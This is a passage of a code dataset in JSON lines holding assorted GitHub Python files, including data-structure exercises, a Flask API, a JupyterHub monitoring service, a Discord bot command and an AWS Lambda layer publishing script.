niveles')\r\nminHeap.por_niveles()\r\n\r\nprint('Extracciones')\r\nprint(minHeap.extraerMin())\r\nprint(minHeap.extraerMin())\r\nprint(minHeap.extraerMin())\r\nprint(minHeap.extraerMin())\r\n\r\n","repo_name":"SebastianBadillo/heaps","sub_path":"Min-heap.py","file_name":"Min-heap.py","file_ext":"py","file_size_in_byte":4257,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12229578699","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, x: int, next: 'Node' = None, random: 'Node' = None):\n self.val = int(x)\n self.next = next\n self.random = random\n\"\"\"\n\nclass Solution:\n def copyRandomList(self, head: 'Optional[Node]') -> 'Optional[Node]':\n nodes = {None: None} # old -> new\n current = head\n # create new nodes for each node in list\n while current:\n nodes[current] = Node(current.val)\n current = current.next\n\n current = head\n # set next and random pointers for new nodes\n while current:\n new_node = nodes[current]\n new_node.next = nodes[current.next]\n new_node.random = nodes[current.random]\n current = current.next\n\n return nodes[head]","repo_name":"thomtreebus/Algorithms-Data-Structures","sub_path":"Neetcode150/linked-list/138-copy-list-with-random-pointer.py","file_name":"138-copy-list-with-random-pointer.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"2812918906","text":"# Renaming a file by creating a copy of the original file and deleting the original one.\n\nimport os\noldfile = \"poem_copy.txt\"\nnewfile = \"renamed_by_python.txt\"\n\nf = open(oldfile, \"r\")\ncontent = f.read()\nf.close()\nf = open(newfile, \"w\")\nf.write(content)\nos.remove(oldfile)\n","repo_name":"MayankGupta-dev08/My-Python-work","sub_path":"68_ps9_pb10.py","file_name":"68_ps9_pb10.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"30693924251","text":"\"\"\"\n 多进程\n\"\"\"\n\nimport time\nimport multiprocessing\n\n\ndef task(i):\n for j in range(5):\n print(f'这是进程{i}')\n print(j)\n time.sleep(100)\n\n\nif __name__ == '__main__':\n for i in range(10):\n p = multiprocessing.Process(target=task, args=(i, ))\n p.start()\n","repo_name":"xusu12/spider_exercise","sub_path":"multi_test/multi_test.py","file_name":"multi_test.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"}
+{"seq_id":"18960211565","text":"from datetime import datetime\nimport time\nimport random\nDEFALT_LENGTH = 8\n\n\nclass ShortId:\n def __init__(self, shard: int = 60, start_date: datetime = datetime(2010, 1, 1)) -> None:\n self.start_timestamp_block = round(start_date.timestamp() * 10)\n self.shard = shard\n self.alpha = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\"\n self.alpha_len = len(self.alpha)\n pass\n\n def string_to_int(self, string: str) -> int:\n number = 0\n for char in string:\n number = number * self.alpha_len + self.alpha.index(char)\n return number\n\n def int_to_string(self, number: int):\n output = \"\"\n while number:\n number, digit = divmod(number, self.alpha_len)\n output += self.alpha[digit]\n return output[::-1]\n\n def string_from_timestamp(self):\n number = round(time.time() * 10) - \\\n self.start_timestamp_block\n return self.int_to_string(number=number)\n\n def get_shard_seq(self, rand_id):\n return self.string_to_int(rand_id) % self.shard\n\n def rand_string(self, l):\n return \"\".join(random.choices(self.alpha, k=l))\n\n def id(self, l: int = DEFALT_LENGTH):\n time_id = self.string_from_timestamp()\n if(l < 7):\n rand_id_l = 2\n else:\n rand_id_l = l - len(time_id)\n\n rand_id = self.rand_string(l=rand_id_l)\n return \"{}{}\".format(time_id, rand_id)[-l:]\n\n def id_with_shard(self, l: int = DEFALT_LENGTH):\n _id = self.id(l=l)\n shard_seq = self.string_to_int(_id[-min(l, 3):]) % self.shard\n return _id, shard_seq\n\n def decode(self, id: str):\n time_id = None\n timestamp = None\n dt = None\n if len(id) >= 7:\n time_id = id[0:6]\n timestamp = (self.string_to_int(time_id) +\n self.start_timestamp_block) / 10\n dt = datetime.fromtimestamp(timestamp)\n random_string = id[len(time_id):]\n else:\n random_string = id[-2:]\n\n random_seq = self.string_to_int(random_string)\n shard_seq = random_seq % self.shard\n\n return {\n \"id\": id,\n \"shard_seq\": shard_seq,\n \"dt\": dt,\n \"random_string\": random_string,\n \"random_seq\": random_seq\n }\n","repo_name":"shrt-id/py","sub_path":"src/shrt_id/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"30265353509","text":"\n# coding: utf-8\n\n# In[88]:\n\n\nimport xlrd\nfrom openpyxl.workbook import Workbook\n\n\n# In[89]:\n\n\nbook1=xlrd.open_workbook('payrollreporta32l.xls',encoding_override=\"iso8859_11\")\n\n\n# In[90]:\n\n\nsheet0=book1.sheet_by_index(0)\n\n\n# In[92]:\n\n\nsheet0.cell_value(9,2)\n\n\n# In[93]:\n\n\ndef open_xls_as_xlsx(filename):\n # first open using xlrd\n book = xlrd.open_workbook(filename,encoding_override=\"iso8859_11\")\n index = 0\n nrows, ncols = 0, 0\n while nrows * ncols == 0:\n sheet = book.sheet_by_index(index)\n nrows = sheet.nrows\n ncols = sheet.ncols\n index += 1\n\n # prepare a xlsx sheet\n book1 = Workbook()\n sheet1 = book1.get_active_sheet()\n\n for row in range(1, nrows+1):\n for col in range(1, ncols+1):\n sheet1.cell(row=row, column=col).value = sheet.cell_value(row-1, col-1)\n\n return book1\n\n\n# In[94]:\n\n\ndef savefile(fileinput,fileoutput):\n output=open_xls_as_xlsx(fileinput)\n output.save(fileoutput)\n\n\n# In[95]:\n\n\nsavefile('payrollreporta32l.xls','example1.xlsx')\n\n","repo_name":"Piakkaa/fileconvert","sub_path":"excelConverter/convertExcelversions.py","file_name":"convertExcelversions.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"74356395773","text":"# Compensations\nd, maxi = dict(), 0\nfor i in range(int(input())):\n s, v = list(input().split())\n if s not in d:\n d[s] = int(v)\n if int(v) > maxi:\n maxi = int(v)\n else:\n d[s] += int(v)\n if d[s] > maxi:\n maxi = d[s]\nres = sorted(d.keys())\nfor i in res:\n if maxi - d[i] == 0:\n print(i, 'is lucky!')\n else:\n print(i, 'has to receive', maxi - d[i], 'tenge')\n","repo_name":"Dajtbaeva/PP2_2021","sub_path":"labz/lab2/2f.py","file_name":"2f.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"40290633744","text":"from idg2sl import SyntheticLethalInteraction\nfrom idg2sl.sl_dataset_parser import SL_DatasetParser\nfrom .sl_constants import SlConstants\n\n\nclass Mengwasser2019Parser(SL_DatasetParser):\n def __init__(self, fname=None):\n pmid = \"30686591\"\n super().__init__(fname=fname, pmid=pmid)\n\n def parse(self):\n \"\"\"\n While POLQ serves as a positive control, FEN1 and APEX2 represent novel B2SL genes and novel potential drug\n targets in BRCA-deficient tumors. The authors do not concretely name the entire list of SLIs, so\n we restrict ourselves to the three that are investigated in detail. FEN1 was also validated for BRCA1\n \"\"\"\n brca2 = 'BRCA2'\n brca2_id = self.get_ncbigene_curie(brca2)\n geneBlist = {'POLQ', 'FEN1', 'APEX2'}\n sli_list = []\n for geneB in geneBlist:\n geneB_id = self.get_ncbigene_curie(geneB)\n sli = SyntheticLethalInteraction(gene_A_symbol=brca2,\n gene_A_id=brca2_id,\n gene_B_symbol=geneB,\n gene_B_id=geneB_id,\n gene_A_pert=SlConstants.LOF_MUTATION,\n gene_B_pert=SlConstants.CRISPR_CAS9,\n effect_type=SlConstants.N_A,\n effect_size=SlConstants.N_A,\n cell_line=SlConstants.PEO1_CELL,\n cellosaurus_id=SlConstants.PEO1_CELLOSAURUS,\n cancer_type=SlConstants.N_A,\n ncit_id=SlConstants.N_A,\n assay=SlConstants.MULTICOLOR_COMPETITION_ASSAY,\n pmid=self.pmid,\n SL=True)\n sli_list.append(sli)\n brca1 = 'BRCA1'\n brca1_id = self.get_ncbigene_curie(brca1)\n geneBlist = {'FEN1', 'APEX2'}\n for geneB in geneBlist:\n geneB_id = self.get_ncbigene_curie(geneB)\n sli = SyntheticLethalInteraction(gene_A_symbol=brca1,\n gene_A_id=brca1_id,\n gene_B_symbol=geneB,\n gene_B_id=geneB_id,\n gene_A_pert=SlConstants.LOF_MUTATION,\n gene_B_pert=SlConstants.CRISPR_CAS9,\n effect_type=SlConstants.N_A,\n effect_size=SlConstants.N_A,\n cell_line='BRCA1 isogenic RPE1 cell line',\n cellosaurus_id=SlConstants.N_A,\n cancer_type=SlConstants.N_A,\n ncit_id=SlConstants.N_A,\n assay=SlConstants.MULTICOLOR_COMPETITION_ASSAY,\n pmid=self.pmid,\n SL=True)\n sli_list.append(sli)\n return sli_list\n","repo_name":"monarch-initiative/SLDBGen","sub_path":"idg2sl/parsers/mengwasser2019_parser.py","file_name":"mengwasser2019_parser.py","file_ext":"py","file_size_in_byte":3321,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"}
+{"seq_id":"73140110332","text":"from flask import Blueprint, jsonify, request\nfrom flask_login import login_required, current_user\nfrom app.models import Post, PostLike, Comment, db\nfrom app.forms import ImageUploadForm\nfrom app.forms import CreatePostForm\nimport base64\npost_routes = Blueprint('posts', __name__)\n\n\n@post_routes.route('//likes')\n# @login_required\ndef postLikes(id):\n posts = PostLike.query.filter(PostLike.postId == id).all()\n allPosts = []\n for post in posts:\n allPosts.append(post.to_dict())\n return jsonify(allPosts)\n\n# Get users another time\n\n\n@post_routes.route('//allcomments')\ndef post_comments(id):\n print(id)\n comments = Comment.query.filter(Comment.postId==id).all()\n return {\"comments\":[comment.to_dict() for comment in comments]}\n\n\n@post_routes.route('//like', methods=[\"POST\"])\n@login_required\ndef likePost(id):\n post = Post.query.filter(Post.id == id).one()\n newLike = PostLike(userId=current_user.id, postId=id)\n db.session.add(newLike)\n db.session.commit()\n return { \"success\": True }\n\n\n@post_routes.route('/')\n# @login_required\ndef post(id):\n post = Post.query.get(id)\n return post.to_dict()\n\n@post_routes.route('/create', methods=[\"POST\"])\n@login_required\ndef createPost():\n form = CreatePostForm()\n data = request.get_json(force = True)\n form['csrf_token'].data = request.cookies['csrf_token']\n form['userId'].data = current_user.id\n form['photoData'].data = data['photoData']\n form['caption'].data = data['caption']\n form['location'].data = data['location']\n if form.validate_on_submit():\n newPost = Post()\n form.populate_obj(newPost)\n db.session.add(newPost)\n db.session.commit()\n return {\"success\":'true'}\n return {'errors': validation_errors_to_error_messages(form.errors)}, 401\n","repo_name":"lanesmit88/Photeria","sub_path":"app/api/post_routes.py","file_name":"post_routes.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"72126274493","text":"import os\nimport argparse\n\nimport numpy as np\nimport yaml\nimport paddle\nfrom paddle.io import Dataset\nfrom pgl.graph import Graph\nfrom pgl.utils.logger import log\nfrom ogb.nodeproppred import NodePropPredDataset\nfrom paddle.fluid import core\n\nfrom dist_feat import DistFeat\n\n\nclass OgbnMag240(object):\n def __init__(self, args):\n self.num_features = 128\n self.feat_mode = args.feat_mode\n self.graph_mode = args.graph_mode\n\n def prepare_data(self):\n log.info(\"Preparing dataset...\")\n \n # Get feature and graph.\n paper_edge_path = \"/paddle/wholegraph/examples/gnn/pgl/paper_cites_paper_graph\"\n self.graph = Graph.load(paper_edge_path, mmap_mode=\"r+\")\n self.train_idx = np.load(paper_edge_path + \"/train_idx.npy\")\n self.val_idx = np.load(paper_edge_path + \"/val_idx.npy\")\n self.test_idx = np.load(paper_edge_path + \"/test_idx.npy\")\n\n paper_feat_path = \"/paddle/wholegraph/examples/gnn/pgl/paper_cites_paper_graph/paper_feat.npy\"\n self.x = np.load(paper_feat_path, mmap_mode=\"r\")\n self.x = DistFeat(self.x, mode=self.feat_mode)\n self.y = np.load(paper_edge_path + \"/label.npy\")\n self.y = paddle.to_tensor(self.y, dtype=\"int64\")\n\n self.prepare_csc_graph()\n\n def prepare_csc_graph(self):\n log.info(\"Preparing csc graph...\")\n if self.graph_mode == \"uva\":\n row = core.eager.to_uva_tensor(self.graph.adj_dst_index._sorted_v, 0)\n colptr = core.eager.to_uva_tensor(self.graph.adj_dst_index._indptr, 0)\n elif self.graph_mode == \"gpu\":\n row = paddle.to_tensor(self.graph.adj_dst_index._sorted_v)\n colptr = paddle.to_tensor(self.graph.adj_dst_index._indptr)\n self.csc_graph = [row, colptr]\n log.info(\"Finish dataset\")\n\n\nclass NodeIterDataset(Dataset):\n def __init__(self, data_index):\n self.data_index = data_index\n\n def __getitem__(self, idx):\n return self.data_index[idx]\n\n def __len__(self):\n return len(self.data_index)\n\n\nclass NeighborSampler(object):\n def __init__(self, csc_graph, samples_list, num_nodes, num_edges):\n self.csc_graph = csc_graph\n self.samples_list = samples_list\n self.value_buffer = paddle.full([int(num_nodes)], -1, dtype=\"int32\")\n self.index_buffer = paddle.full([int(num_nodes)], -1, dtype=\"int32\")\n self.eid_perm = np.arange(0, num_edges, dtype=\"int64\")\n self.eid_perm = core.eager.to_uva_tensor(self.eid_perm, 0)\n\n def sample(self, nodes):\n graph_list = []\n for i in range(len(self.samples_list)):\n neighbors, neighbor_counts = paddle.geometric.sample_neighbors(\n self.csc_graph[0], self.csc_graph[1], nodes, sample_size=self.samples_list[i],\n perm_buffer=self.eid_perm)\n edge_src, edge_dst, out_nodes = \\\n paddle.geometric.reindex_graph(nodes, neighbors, neighbor_counts,\n self.value_buffer, self.index_buffer)\n graph = Graph(num_nodes=len(out_nodes),\n edges=paddle.concat([edge_src.reshape([-1, 1]),\n edge_dst.reshape([-1, 1]),\n ], axis=-1))\n graph_list.append((graph, len(nodes)))\n nodes = out_nodes\n\n graph_list = graph_list[::-1]\n return graph_list, nodes\n","repo_name":"DesmonDay/MAGSpeed","sub_path":"new_dataset.py","file_name":"new_dataset.py","file_ext":"py","file_size_in_byte":3422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"36487040931","text":"import discord\nfrom discord.ext import commands\nimport mysql.connector\nfrom settings import host, user, password, database, embedcolor, footer, ecogame_channels\n\n\nclass EcoJob(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n\n @commands.command()\n async def job(self, ctx, *, job=None):\n if str(ctx.channel) in ecogame_channels:\n job_list = [\"mcdonalds werker\", \"leerkracht\", \"bouwvakker\", \"politie agent\", \"boekhouder\", \"developer\", \"youtuber\", \"dokter\", \"advocaat\", \"rechter\", \"ceo\", \"minister\", \"president\"]\n job = job.lower()\n\n if job in job_list:\n db_maxerg = mysql.connector.connect(host=host, database=database, user=user, passwd=password)\n maxergdb_cursor = db_maxerg.cursor()\n\n maxergdb_cursor.execute(f\"SELECT * FROM maxerg_economie WHERE user_id = {ctx.author.id}\")\n eco_data = maxergdb_cursor.fetchone()\n current_job = eco_data[5]\n prestige = eco_data[4]\n\n embed_sturen = True\n if job == current_job:\n await ctx.send(\"Je hebt deze job al...\")\n embed_sturen = False\n elif job == \"leerkracht\" and prestige < 1:\n await ctx.send(f\"Deze job vereist minimaal prestige 1. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n elif job == \"bouwvakker\" and prestige < 2:\n await ctx.send(f\"Deze job vereist minimaal prestige 2. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n elif job == \"politie agent\" and prestige < 3:\n await ctx.send(f\"Deze job vereist minimaal prestige 3. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n elif job == \"boekhouder\" and prestige < 4:\n await ctx.send(f\"Deze job vereist minimaal prestige 4. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n elif job == \"developer\" and prestige < 5:\n await ctx.send(f\"Deze job vereist minimaal prestige 5. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n elif job == \"youtuber\" and prestige < 6:\n await ctx.send(f\"Deze job vereist minimaal prestige 6. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n elif job == \"dokter\" and prestige < 7:\n await ctx.send(f\"Deze job vereist minimaal prestige 7. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n elif job == \"advocaat\" and prestige < 8:\n await ctx.send(f\"Deze job vereist minimaal prestige 8. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n elif job == \"rechter\" and prestige < 9:\n await ctx.send(f\"Deze job vereist minimaal prestige 9. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n elif job == \"ceo\" and prestige < 10:\n await ctx.send(f\"Deze job vereist minimaal prestige 10. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n elif job == \"minister\" and prestige < 11:\n await ctx.send(f\"Deze job vereist minimaal prestige 11. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n elif job == \"president\" and prestige < 12:\n await ctx.send(f\"Deze job vereist minimaal prestige 12. Jij bent prestige `{prestige}`.\")\n embed_sturen = False\n\n if embed_sturen:\n maxergdb_cursor.execute(f\"UPDATE maxerg_economie SET job = %s WHERE user_id = %s\", (job, ctx.author.id))\n db_maxerg.commit()\n\n embed = discord.Embed(\n title=\"Job Veranderen\",\n description=f\"Je job is veranderd van `{current_job}` naar `{job}`\",\n color=embedcolor\n )\n embed.set_author(name=f\"{ctx.author}\", icon_url=f\"{ctx.author.avatar_url}\")\n embed.set_footer(text=footer)\n await ctx.send(embed=embed)\n db_maxerg.close()\n else:\n if job is None:\n job = \"NIET VERMELD\"\n await ctx.send(f\"Job '{job}' is niet geldig.\")\n else:\n await ctx.send(\"Deze command werkt alleen in <#708055327958106164>.\")\n\n\ndef setup(client):\n client.add_cog(EcoJob(client))\n","repo_name":"SiebeBaree/MaxerG","sub_path":"ecogame/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":4684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"1576334040","text":"import re\n\n\nfrom django.db.models import Q\n\n\nfrom profiles.models import Profile\n\n\ndef normalize_query(query_string, findterms=re.compile(r'\"([^\"]+)\"|(\\S+)').findall,\n normspace=re.compile(r'\\s{2,}').sub):\n return [normspace(' ', (t[0] or t[1]).strip()) for t in findterms(query_string)]\n\n\ndef get_query(query_string, search_fields, tag=False):\n query = None\n terms = normalize_query(query_string)\n for term in terms:\n or_query = None\n if tag:\n term = \"#\" + term\n for field_name in search_fields:\n q = Q(**{\"{}__icontains\".format(field_name): term})\n if or_query is None:\n or_query = q\n else:\n or_query = or_query | q\n if query is None:\n query = or_query\n else:\n query = query & or_query\n return query\n\n\ndef get_key(obj):\n if isinstance(obj, Profile):\n return obj.user.date_joined\n return obj.created\n","repo_name":"TheRedLady/project-flamingo","sub_path":"flamingo_proj/home/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"6847598730","text":"# coding: utf8\r\nimport os\r\n\r\n\r\nTIANGAN = ('甲', '乙', '丙', '丁', '戊', '己', '庚', '辛', '壬', '癸')\r\nDIZHI = ('子', '丑', '寅', '卯', '辰', '巳', '午', '未', '申', '酉', '戌', '亥')\r\n\r\n\r\ndef converter(year):\r\n \"\"\"公元转干支转换器\"\"\"\r\n # 天干计算\r\n tianGanModedNumber = (year - 3) % 10\r\n if tianGanModedNumber != 0:\r\n tianGanOrderNumber = tianGanModedNumber - 1\r\n else:\r\n tianGanOrderNumber = 9\r\n tianGan = TIANGAN[tianGanOrderNumber]\r\n\r\n # 地支计算\r\n diZhiModedNumber = (year - 3) % 12\r\n if diZhiModedNumber != 0:\r\n diZhiOrderNumber = diZhiModedNumber - 1\r\n else:\r\n diZhiOrderNumber = 11\r\n diZhi = DIZHI[diZhiOrderNumber]\r\n\r\n return f'{tianGan}{diZhi}'\r\n\r\n\r\ndef inputer():\r\n \"\"\"输入检查器\"\"\"\r\n inputText = input('请输入公元年:')\r\n\r\n # 判断是否为数字\r\n try:\r\n inputNumber = int(inputText)\r\n except ValueError as identifier:\r\n print(f'程序错误,原因:\"{identifier}\"')\r\n os._exit(1001)\r\n \r\n # 判断是否为正数\r\n if inputNumber > 0:\r\n ccbText = converter(inputNumber)\r\n else:\r\n print('请输入一个大于0的整数!')\r\n os._exit(1002)\r\n \r\n return inputNumber, ccbText\r\n\r\n\r\ndef main():\r\n \"\"\"主程序\"\"\"\r\n returnList = inputer()\r\n print(f'{returnList[0]}年是{returnList[1]}年')\r\n return 0\r\n\r\n\r\nmain()","repo_name":"WhitePaper233/CCB_Converter","sub_path":"CCBC.py","file_name":"CCBC.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"38870203524","text":"import argparse\nfrom contextlib import redirect_stdout\nfrom enum import Enum\nimport io\nimport os\nfrom urllib.parse import urlparse\n\nfrom hubtraf.check import check_user\nfrom jupyterhub.services.auth import HubAuthenticated\nfrom jupyterhub.utils import url_path_join\nimport json\nfrom prometheus_client import Gauge, Histogram, REGISTRY, exposition\nfrom tornado.httpserver import HTTPServer\nfrom tornado.ioloop import IOLoop\nfrom tornado.web import Application\nfrom tornado.web import authenticated\nfrom tornado.web import RequestHandler\nimport requests\n\n\nCHECK_COMPLETED = Gauge(\n \"check_completed\", \"whether or not hubtraf-check completed successfully\"\n)\nSERVER_START_DURATION_SECONDS = Histogram(\n \"server_start_duration_seconds\", \"Time taken to start the user server\", [\"status\"]\n)\nKERNEL_START_DURATION_SECONDS = Histogram(\n \"kernel_start_duration_seconds\", \"Time taken to start the kernel\", [\"status\"]\n)\nCODE_EXECUTE_DURATION_SECONDS = Histogram(\n \"code_execute_duration_seconds\",\n \"Time taken to execute some simple code\",\n [\"status\"],\n)\nKERNEL_STOP_DURATION_SECONDS = Histogram(\n \"kernel_stop_duration_seconds\", \"Time taken to stop the kernel\", [\"status\"]\n)\nSERVER_STOP_DURATION_SECONDS = Histogram(\n \"server_stop_duration_seconds\", \"Time taken to stop the user server\", [\"status\"]\n)\n\nprometheus_metrics_aliases = {\n \"server-start\": SERVER_START_DURATION_SECONDS,\n \"kernel-start\": KERNEL_START_DURATION_SECONDS,\n \"code-execute\": CODE_EXECUTE_DURATION_SECONDS,\n \"kernel-stop\": KERNEL_STOP_DURATION_SECONDS,\n \"server-stop\": SERVER_STOP_DURATION_SECONDS,\n}\n\n\nclass ActionStatus(Enum):\n \"\"\"\n Possible values for 'status' label of the metrics\n \"\"\"\n\n success = \"Success\"\n failure = \"Failure\"\n\n def __str__(self):\n return self.value\n\n\nfor alias, metric in prometheus_metrics_aliases.items():\n for s in ActionStatus:\n metric.labels(status=s)\n\n\ndef get_user_token(username):\n api_token = os.environ[\"JUPYTERHUB_API_TOKEN\"]\n api_url = os.environ[\"JUPYTERHUB_API_URL\"]\n\n # Request a token for the user\n # Serice needs to have admin rights\n token_request_url = url_path_join(api_url, f\"/users/{username}/tokens\")\n resp = requests.post(\n token_request_url, headers={\"Authorization\": f\"token {api_token}\"}\n )\n return resp.json()[\"token\"]\n\n\nclass HubMetricsHandler(HubAuthenticated, RequestHandler):\n def initialize(self, args, registry=REGISTRY):\n self.args = args\n self.registry = registry\n\n @authenticated\n async def get(self):\n user_token = get_user_token(self.args.username)\n\n text_stream = io.StringIO()\n with redirect_stdout(text_stream):\n hubtraf_check_status = await check_user(\n self.args.hub_url, self.args.username, user_token, json=True\n )\n\n if hubtraf_check_status == \"completed\":\n CHECK_COMPLETED.set(1)\n\n hubtraf_output = text_stream.getvalue()\n\n # Collect metrics from hubtraf\n for line in hubtraf_output.splitlines():\n hubtraf_metric = json.loads(line)\n status = hubtraf_metric[\"status\"]\n if status in [\"Success\", \"Failure\"]:\n prometheus_metrics_aliases[hubtraf_metric[\"action\"]].labels(\n status=status\n ).observe(float(hubtraf_metric[\"duration\"]))\n\n encoder, content_type = exposition.choose_encoder(\n self.request.headers.get(\"Accept\")\n )\n self.set_header(\"Content-Type\", content_type)\n self.write(encoder(self.registry))\n\n\ndef main():\n argparser = argparse.ArgumentParser()\n argparser.add_argument(\n \"hub_url\", help=\"Hub URL to send traffic to (without a trailing /)\"\n )\n argparser.add_argument(\"username\", help=\"Name of the user\")\n args = argparser.parse_args()\n\n app = Application(\n [\n (\n os.environ[\"JUPYTERHUB_SERVICE_PREFIX\"] + \"/?\",\n HubMetricsHandler,\n {\"args\": args},\n ),\n (r\".*\", HubMetricsHandler, {\"args\": args}),\n ]\n )\n\n http_server = HTTPServer(app)\n url = urlparse(os.environ[\"JUPYTERHUB_SERVICE_URL\"])\n\n http_server.listen(url.port, url.hostname)\n\n IOLoop.current().start()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GeorgianaElena/blackbox-hub-monitoring","sub_path":"hub_metrics_collector/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"20688289016","text":"# -*- coding: utf-8 -*-\r\nfrom __future__ import unicode_literals\r\n\r\nfrom django.db import models, migrations\r\n\r\n\r\nclass Migration(migrations.Migration):\r\n\r\n dependencies = [\r\n ('nadep', '0015_auto_20151124_1513'),\r\n ]\r\n\r\n operations = [\r\n migrations.AddField(\r\n model_name='prisao',\r\n name='fracao_lc',\r\n field=models.SmallIntegerField(blank=True, null=True, verbose_name='Fra\\xe7\\xe3o LC', choices=[(13, '1/3 - Comum Prim\\xe1rio'), (12, '1/2 - Comum Reicidente'), (23, '2/3 - Hediondo'), (11, '1/1 - Hediondo Reicidente')]),\r\n ),\r\n migrations.AddField(\r\n model_name='prisao',\r\n name='fracao_pr',\r\n field=models.SmallIntegerField(blank=True, null=True, verbose_name='Fra\\xe7\\xe3o PR', choices=[(16, '1/6 - Comum'), (25, '2/5 - Hediondo Prim\\xe1rio'), (35, '3/5 - Hediondo Reicidente')]),\r\n ),\r\n ]\r\n","repo_name":"SegurancaDPDF/SOLAR-Backend","sub_path":"nucleo/nadep/migrations/0016_auto_20151124_1654.py","file_name":"0016_auto_20151124_1654.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"11463028103","text":"#!/usr/bin/python3\n# https://cryptopals.com/sets/1/challenges/2\nimport sys\nimport binascii\nsrc1_hex_bytes_text = sys.argv[1]\nsrc1_parsed_bytes = binascii.unhexlify(src1_hex_bytes_text)\nsrc2_hex_bytes_text = sys.argv[2]\nsrc2_parsed_bytes = binascii.unhexlify(src2_hex_bytes_text)\nbyte_length = len(src1_parsed_bytes)\nout_bytes = bytearray(byte_length)\nfor i in range(0, byte_length):\n src1_curr = src1_parsed_bytes[i]\n src2_curr = src2_parsed_bytes[i]\n xor_result = src1_curr ^ src2_curr\n out_bytes[i] = xor_result\nresult = binascii.hexlify(out_bytes)\nsys.stdout.buffer.write(result)\n","repo_name":"tomsaleeba/cryptopals-challenges","sub_path":"02/fixed-xor.py","file_name":"fixed-xor.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"10513711092","text":"from os import makedirs\nfrom json import dumps\nfrom time import time\nfrom pip import main\nfrom shutil import make_archive, rmtree\nfrom os.path import exists, expanduser, dirname\nfrom argparse import ArgumentParser\nfrom boto3 import Session\nfrom sys import version_info\n\n\nparser = ArgumentParser()\nparser.add_argument('requirements', help=\"The path to the requirements.txt file.\")\nparser.add_argument('region', help=\"The region you want to publish the lambda layer to.\")\nparser.add_argument('output', help='The directory of the output file containing the ARNs of the lambda layers.')\nargs = vars(parser.parse_args())\n\nreq_file = expanduser(args[\"requirements\"])\noutput_file = expanduser(args[\"output\"])\nworking_dir = \"/tmp/working{}\".format(time())\nregion = args[\"region\"]\n\nlayer_arns = {}\nclient = Session(region_name=region).client(\"lambda\")\n\n\nif not exists(req_file):\n raise FileNotFoundError(\"The file {} does not exist.\".format(req_file))\n\nmakedirs(dirname(output_file), exist_ok=True)\n\nruntime = \"python{}.{}\".format(version_info.major, version_info.major)\n\n\nwith open(req_file, \"r\") as file:\n for line in file:\n line = line.replace(\"\\n\", \"\").replace(\" \", \"\")\n\n package_name = line.split(\">\")[0].split(\"<\")[0].split(\"=\")[0]\n parent_location = \"{}/{}\".format(working_dir, package_name)\n\n # Create the location of the dependencies and the location of the zip location\n zip_location = \"{}/zip\".format(parent_location)\n general_package_location = \"{}/package\".format(parent_location)\n required_package_location = \"{}/python\".format(general_package_location)\n\n # Install the dependencies as is required in a folder called python\n main(['install', f\"{line}\", \"--target\", required_package_location])\n\n zip_file = \"{}/{}.zip\".format(zip_location, package_name)\n make_archive(zip_file.replace(\".zip\", \"\"), 'zip', \"{}/\".format(general_package_location))\n\n with open(zip_file, \"rb\") as f:\n response = client.publish_layer_version(\n LayerName=package_name,\n Content={\n \"ZipFile\": f.read(),\n },\n CompatibleRuntimes=[runtime],\n Description=line,\n )\n\n layer_arns[package_name] = response[\"LayerVersionArn\"]\n\n\nopen(output_file, 